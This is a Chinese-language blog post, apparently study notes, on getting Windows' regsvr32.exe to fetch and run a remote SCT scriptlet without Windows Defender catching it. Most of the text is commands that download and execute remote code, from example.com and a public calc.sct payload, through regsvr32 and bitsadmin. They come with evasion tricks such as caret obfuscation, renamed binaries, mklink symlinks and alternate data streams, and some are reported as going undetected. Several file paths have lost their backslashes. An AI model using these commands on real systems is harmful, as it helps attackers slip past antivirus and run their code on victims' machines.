Regsvr32 Bypass SCT/HTTP

前言:看了这篇突然想起,2019年刚开始学习的时候在心东的视频教程中,他当时在360的情况下绕Regsvr32跟这篇文章也有点相似,不过这个人的思路更加的广阔!

支持操作系统:Windows Vista,Windows 7,Windows 8,Windows 8.1,Windows 10

所需要的权限:用户

先介绍下Regsvr32,是个二进制文件,可用于执行外部SCT文件中的代码!

参数讲解:

/u:反注册DLL文件
/i:在使用 /u 反注册时调用 DllInstall
/s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框
/c:控制端口
/n:不调用DllRegisterServer,必须与/i连用

DllInstall:仅用于应用程序安装和设置。应用程序不应调用它。它的用途与DllRegisterServer或DllUnregisterServer相似。与这些函数不同,DllInstall使用一个输入字符串,该字符串可用于指定各种不同的操作。这允许根据任何适当的条件以多种方式安装DLL。

大家可以理解DllInstall的时候可以带命令行参数进行注册,那么也可以进行自定义的操作,例如远程调用!


这里主要学习总结绕过手段,如果需要详细图文学习的话,参考最下面的文章!

标准的运行命令格式:regsvr32.exe /i:http://example.com/file.sct /u /s scrobj.dll,这个结果是会被Windows Defender进行拦截的!

绕过过程如下:

第一种尝试方法:命令参数的交换

/u /s 前后交换

regsvr32.exe /i:http://example.com/file.sct /s /u scrobj.dll 拦截

结果无法绕过

第二种尝试方法:添加干扰符

这里使用的干扰符只有"^,自己知道的还有个@

regsvr32.exe /i:h^t^t^p://example.com/file.sct /s /u scrobj.dll 拦截

regsvr32.exe /i:h"t"t"p://example.com/file.sct /s /u scrobj.dll 拦截

第三种尝试方法:绕过windows目录调用,该方法对于某些av监控windows目录下的exe文件有一定的绕过作用!

copy c:windowssystem32 egsvr32.exe c:programdata eg32.exe

reg32.exe /i:http://example.com/file.sct /s /u scrobj.dll 拦截

copy c:windowssystem32scrobj.dll Myscrobj.dll

regsvr32.exe /i:http://example.com/file.sct /s /u Myscrobj.dll 拦截

第四种尝试方法:特征码修改

这里自己理解的特征码修改实际上就是指的就是 引起AV检测的字符

regsvr32.exe /i:http://example.com/file.txt /s /u scrobj.dll 拦截

regsvr32.exe /i:http://example.com/file.txt scrobj.dll 拦截

regsvr32.exe /i:http:// scrobj.dll 拦截

regsvr32.exe /i:http: scrobj.dll 拦截

regsvr32.exe /i:ftp: scrobj.dll 不拦截

regsvr32.exe /i:http: Myscrobj.dll 不拦截

那么可以确定的是 拦截情况为:httpscrobj.dll的组合

第五种尝试方法:符号链接

权限要求:本地管理员

在linux中有软链接和硬链接,在windows中也有类似的操作符号链接

Mklink.exe c:programdataMyscrobj.dll c:windowssystem32scrobj.dll

regsvr32.exe /i:http://example.com/file.sct /u /s Myscrobj.dll 不拦截,但是记得操作的时候在链接的dll目录下进行!

第六种尝试方法:数据流(ADS)

dir /R可以去发现本地的备用数据流

默认情况下,我们查看称为$DATA的特定流。可以向文件中添加其他流并向其中添加内容。

Type c:windowssystem32scrobj.dll > test.txt:Myscrobj.dll

Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct test.txt:Myscrobj.dll 拦截

第七种尝试方法:本地磁盘执行

那么也就是下载到本地然后进行执行,不去远程执行!

bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP% est.txt && regsvr32.exe /s /u /i:%TEMP% est.txt scrobj.dll 拦截

太棒了,屁都没学到!

参考文章:https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/

原文地址:https://www.cnblogs.com/zpchcbd/p/12375152.html